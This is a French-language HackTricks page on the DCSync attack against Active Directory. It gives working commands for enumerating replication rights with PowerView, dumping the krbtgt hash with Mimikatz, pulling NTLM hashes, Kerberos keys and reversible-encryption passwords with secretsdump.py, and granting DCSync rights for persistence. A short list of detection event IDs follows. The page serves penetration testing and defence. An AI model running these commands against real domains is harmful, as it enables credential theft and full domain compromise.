DCSync
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
DCSync
La permission DCSync implique d'avoir ces permissions sur le domaine lui-mĂȘme : DS-Replication-Get-Changes, Replicating Directory Changes All et Replicating Directory Changes In Filtered Set.
Notes importantes sur DCSync :
- L'attaque DCSync simule le comportement d'un contrĂŽleur de domaine et demande Ă d'autres contrĂŽleurs de domaine de rĂ©pliquer des informations en utilisant le protocole de service de rĂ©plication de rĂ©pertoire Ă distance (MS-DRSR). Ătant donnĂ© que MS-DRSR est une fonction valide et nĂ©cessaire d'Active Directory, il ne peut pas ĂȘtre dĂ©sactivĂ©.
- Par défaut, seuls les groupes Domain Admins, Enterprise Admins, Administrators et Domain Controllers ont les privilÚges requis.
- Si des mots de passe de compte sont stockés avec un chiffrement réversible, une option est disponible dans Mimikatz pour retourner le mot de passe en texte clair.
Enumeration
VĂ©rifiez qui a ces permissions en utilisant powerview
:
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
Exploiter localement
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
Exploiter Ă distance
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking
-just-dc
génÚre 3 fichiers :
- un avec les hashes NTLM
- un avec les clés Kerberos
- un avec les mots de passe en clair de l'NTDS pour tous les comptes configurés avec le chiffrement réversible activé. Vous pouvez obtenir les utilisateurs avec le chiffrement réversible avec
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
Persistance
Si vous ĂȘtes un administrateur de domaine, vous pouvez accorder ces permissions Ă n'importe quel utilisateur avec l'aide de powerview
:
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
Ensuite, vous pouvez vérifier si l'utilisateur a été correctement assigné les 3 privilÚges en les recherchant dans la sortie de (vous devriez pouvoir voir les noms des privilÚges dans le champ "ObjectType") :
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
Atténuation
- ID d'Ă©vĂ©nement de sĂ©curitĂ© 4662 (La politique d'audit pour l'objet doit ĂȘtre activĂ©e) â Une opĂ©ration a Ă©tĂ© effectuĂ©e sur un objet
- ID d'Ă©vĂ©nement de sĂ©curitĂ© 5136 (La politique d'audit pour l'objet doit ĂȘtre activĂ©e) â Un objet de service d'annuaire a Ă©tĂ© modifiĂ©
- ID d'Ă©vĂ©nement de sĂ©curitĂ© 4670 (La politique d'audit pour l'objet doit ĂȘtre activĂ©e) â Les autorisations sur un objet ont Ă©tĂ© modifiĂ©es
- AD ACL Scanner - Créer et comparer des rapports d'ACL. https://github.com/canix1/ADACLScanner
Références
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync
- https://yojimbosecurity.ninja/dcsync/
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.